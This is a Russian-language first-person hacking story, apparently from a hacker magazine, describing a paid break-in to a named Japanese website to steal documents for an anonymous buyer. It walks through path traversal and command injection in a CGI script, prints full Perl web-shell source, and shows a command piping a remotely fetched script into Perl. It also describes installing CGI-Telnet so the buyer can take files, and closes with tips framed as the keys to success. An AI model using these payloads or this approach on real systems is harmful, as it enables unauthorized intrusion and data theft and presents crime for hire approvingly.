Взлом
по-японски
Взлом
серьезного зарубежного сайта – дело непростое. Оно и понятно: буржуйские
админы получают за свою работу кучу бабок, проходят всякие там сертификации
и тесты на профпригодность и поэтому почти всегда тщательно настраивают
файрволы и без проблем распознают хакерские атаки. В семье, впрочем,
не без урода, в чем я недавно опять наглядно убедился.
Однажды мне подвернулась возможность подзаработать. Я трепался в аське
и вдруг наткнулся на сообщение от неизвестного чухана. Он просил украсть
некоторые документы с японского портала, за что обещал щедро расплатиться
электронной валютой. Я уже работал с подобными людьми и поэтому особо
не парился по поводу того, что меня могут прокинуть. Обговорив цену,
мы сошлись на сумме в $250, после чего неизвестная персона ушла в
оффлайн, оставив меня наедине с японским web-сайтом.
Первая
зацепка
Первым делом я, вообразив себя белорусским партизаном, пропинговал
жертву t.soka.co.jp. По всей видимости, файрвол на серванте резал
весь icmp-трафик: ни один пакет не вернулся назад. Не знаю, зачем
надо было разводить такой маразм, но это же японцы :). Вообще, мне
раньше доводилось обходить хорошо настроенные файрволы, однако такая
перспектива меня не особенно радовала. На всякий случай я поконнектился
на некоторые стандартные порты (21, 22 и т.д.), но большинство портов
были закрыты для соединений. Сомнительно, чтобы на этой машине не
стояло ни ftp, ни ssh. Скорее всего, просто эти службы закрыты для
доступа снаружи, что, в общем-то, является стандартным решением. Я
даже решил не сканить остальные порты, поскольку было ясно, что потенциально
опасные службы на сервере закрыты для доступа извне, а наживать геморрой
с обходом сетевого экрана мне пока не хотелось. Выбирать было не из
чего – единственный метод проникновения на сервер лежал через Web.
Главная страничка не показала мне ничего хорошего – контент сайта
состоял полностью из японских иероглифов (впрочем, позже я заметил
линк на англоязычный вариант :)). После обращения к /cgi-bin/ был
получен от ворот поворот, что было основным симптомом дефолтовой политики
сервера Apache.
Казалось бы, никаких результатов. В течение пяти минут я тыкался по
ссылкам, пытаясь нащупать какой-нибудь дырявый скрипт. Наконец, мне
повезло, я загрузил сценарий /cgi-bin/staffs.cgi. Скрипт понимал несколько
параметров. Первый, type, имел значение Sys. Второй, file_name, передавался
со значением kuroki. Перевести загадочное имя файла на русский язык
мне так и не удалось – наверное, это какой-то японский сленг:). Хотя
суть от этого не менялась – мне показалось, что я нащупал просто-таки
детский, дебильный, простите за мой французский, баг.
Итак, я изменил значение второго параметра. Вначале я, рассчитывая
неизвестно на что, подставил значение /etc/passwd и, естественно,
жестоко обломался. Вместо файла с пользователями отобразилась ошибка
500. Я уж было подумал, что это своеобразный вид защиты от нападений
и удача от меня отвернулась. Но шестое чувство мне подсказывало, что
игра не закончена. Я еще раз изменил значение на что-то вроде «../../etc/passwd»
и обновил страницу. Опять ошибка 500. Я добавлял символы «..» (это
означает переход наверх в дереве каталогов), пока не увидел содержимое
/etc/passwd. Хотя содержимое – громко сказано. Вместо целого документа
на моем экране сияла только первая строка системного файла. Это уже
кое-что. Я могу читать любые доступные текущему юзеру файлы, точнее,
первую строчку этих файлов :).
Даешь командный режим!
Впрочем, даже такая вкусная брешь в сценарии не давала мне особого
повода для радости. Чтением файлов многого не добиться. Мучаясь в
размышлениях, я решил попробовать подставить команду вместо имени
файла. Выполнение команды (пусть даже с выводом в одну строку) могло
дать колоссальные возможности. Изменив значение параметра file_name
на |id| и обновив страницу, я буквально подпрыгнул от радости! Это
сработало! Немного подумав, сценарий показал права текущего юзера.
Теперь у меня был web-шелл юзера с уидом www и групповым идентификатором
wwwgrp.
Анализируй ЭТО
Настало время приступить к анализу системы. Ведь я еще не знал, в
какие директории я имею право писать, какие файлы смотреть и выполнять.
Впрочем, с такой оболочкой многого не сделать – скрипт по-прежнему
показывал лишь первую строку вывода команды.
Первый запрос был |uname -a|. Эта команда выдала мне сведения об установленной
на сервере системе – я начинал вспарывать брюхо старой Солярке 5.6.
Особенности этой старушки мы с тобой уже проходили :), поэтому ты
должен знать ее уязвимости.
Далее я отдал команду |which perl|, чтобы удостовериться в том, что
интерпретатор находится в /usr/bin. К сожалению, скрипт вообще ничего
не вывел. Это означало, что либо Perl находится в /usr/local/bin,
либо его вообще нет, а staffs.cgi написан на другом языке. Проверив
патч к Perl, я узнал, что бинарник действительно расположен в /usr/local/bin.
Действовать по стандартной схеме было бессмысленно – на сервере находился
файрвол. У меня было только три варианта дальнейших действий:
1. Удаленно вырубить файрвол.
2. Замутить connback-скрипт и открыть на своем хосте netcat с прослушиванием
определенного порта.
3. Довольствоваться управлением через WWW.
Решено было остановиться на третьем пункте, поскольку первые два требовали
значительных навыков в анализе и офигительного везения. Ни тем ни
другим, к сожалению, я похвастаться не мог, поэтому решил залить на
сервер самопальный скрипт, который должен был полноценно выполнять
команды. Для осуществления этой элементарной задачи нужно скачать
примерно такой самопальный скрипт:
Код
cmd.cgi
#!/usr/local/bin/perl
print "Content-type: text/html\n\n";
$cmd=$ENV{QUERY_STRING};
$cmd=~s/%20/ /g;
$cmd=`$cmd`;
print "<pre> $cmd<\/pre> \n";
Подобный
сценарий позволял выполнить практически любую команду с правами www.
Отправив запрос |ls –lad|, я узнал, что залить сценарий можно прямо
в WWW-каталог (юзер www имел полные права на чтение, запись и выполнение
файлов в этом каталоге). Только вот осуществить задуманное мне не
удалось – оказалось, что скрипт staffs.cgi не выполняет команды с
символом перенаправления потока (> ). Ты, наверное, догадался,
что я пытался намутить ftp-сценарий, а затем передать его /usr/bin/ftp.
К сожалению, и wget’а на сервере не оказалось, поэтому ситуация выглядела
безнадежной.
Внезапно я вспомнил, что все солярки по дефолту комплектуются перловой
утилитой GET, которая может находиться в /usr/bin либо в /usr/local/bin.
Сделав запрос |ls –la /usr/local/bin/GET|, я удостоверился, что сценарий
действительно присутствует в системе. Это хорошо, однако, повторюсь,
что staffs.cgi не понимает перенаправление в файл, а у GET нет опций,
через которые можно было бы указать output-file. Из вышеописанного
можно сделать один простой вывод: ситуация опять выглядела не лучшим
образом :). Однако я даже и не думал отчаиваться, поскольку почти
сразу вспомнил, что интерпретатор Perl умеет брать программу для выполнения
прямо из стандартного входного потока STDIN. И использовав конвейер
из двух команд, можно было легко выполнить на уязвимой машине любой
сценарий: запрос вида |/usr/local/bin/GET http://host.com/file.cgi
| /usr/local/bin/perl --| привел к тому, что скачанный файл выполнился
как перловый сценарий, даже не сохранившись на сервере! Таким образом,
мне ничего не мешало составить вспомогательный сценарий, содержащий
всего одну строку system("/usr/local/bin/GET http://host.ru/cmd.cgi
> /path/to/www/cgi-bin/cmd.cgi"). В отдельном сценарии я уже
мог юзать любые символы (и перенаправления в том числе).
Нужно помнить, что Perl считывает данные из STDIN, пока не встретит
конструкцию __END__. В противном случае перловый процесс осядет в
таблице и будет там висеть, пока его не запалит злой японский админ-самурай
:). В связи с этим я добавил вторую строку во временной скрипт, а
затем выполнил команду.
После успешной закачки я дал сценарию достаточные для выполнения права
(|chmod 755 cmd.cgi|). Загрузив командную оболочку, я во второй раз
за день получил ошибку 500. Это выглядело странным, ведь файл может
выполняться, сам сценарий не содержит плохих команд, да и путь к интерпретатору
указан верно. Для ясности картины я выполнил запрос |perl –c cmd.cgi|
и perl отрапортовал, что с синтаксисом все ок.
Спустя десять минут до меня доперло, что баг крылся в неправильном
режиме передачи данных. Если бы я перекачал скрипт через ftp, клиент
залил файл в ASCII-режиме. Из-за того, что GET не умеет выдирать символы
\r из переданных документов, взломщик и получил ошибку 500. Для исправления
ситуации пришлось соединиться с юниксовым ftpd и залить туда сценарий
в ASCII. Затем перекачать обратно уже в бинарном режиме. Я выполнил
все это, затем обновил браузер и увидел, что командный WWW-шелл работает!
Изменение
правил
Стянув пару нужных файлов, я скинул уведомление заказчику. Спустя
час он проснулся и объявил, что двух документов недостаточно и он
поднимает цену до $300, если я предоставлю ему полный доступ к базе
доков на сервере. Немного позлившись на то, что менять правила игры
после выполнения успешного задания не принято, я согласился.
Прежде чем давать заказчику шелл, надо было изменить сценарий выполнения
команд на более дружелюбную оболочку (судя по разговорам, клиенту
бесполезно объяснять, что такое QUERY_STRING :)). Я решил воспользоваться
услугами скрипта CGI-Telnet, о котором уже рассказывал в прошлых выпусках
Х. Теперь достаточно выполнить пару команд, чтобы заказчик мог сливать
нужные файлы самостоятельно, потому как CGI-Telnet (http://www.rohitab.com/cgiscripts/cgitelnet.zip)
снабжен функциями скачивания и закачивания документов.
Поставить
CGI-Telnet несложно. Нужно лишь перегнать скрипт в ASCII-режим и слегка
изменить содержание вспомогательного сценария file.cgi. Вот, собственно,
и все нехитрые действия.
CGI-Telnet оправдал мои ожидания. Заказчик с удовольствием заюзал
эту оболочку, слив все данные, которые хотел. После изнурительного
двухчасового ожидания я получил заслуженные $300 за прекрасную работу.
Я был очень доволен собой, так как никогда раньше не ломал самую умную
нацию на Земле :).
Что
помогло мне при взломе?
1. Я никогда не терял надежду на победу, поэтому всегда экспериментировал.
Например, я быстро обнаружил, что параметр file_name может принимать
значения произвольных команд.
2. Я знаю параметры многих утилит и программ. Я без труда сумел связать
два приложения GET и Perl. А все потому, что перед этим я старательно
изучил описание параметров к этим командам.
3. Я часто обращался за помощью к Web-оболочкам типа CGI-Telnet и
не изобретал велосипед. Действительно, WWW-шелл ничем не хуже обычного.
Главное - уметь к нему привыкнуть :).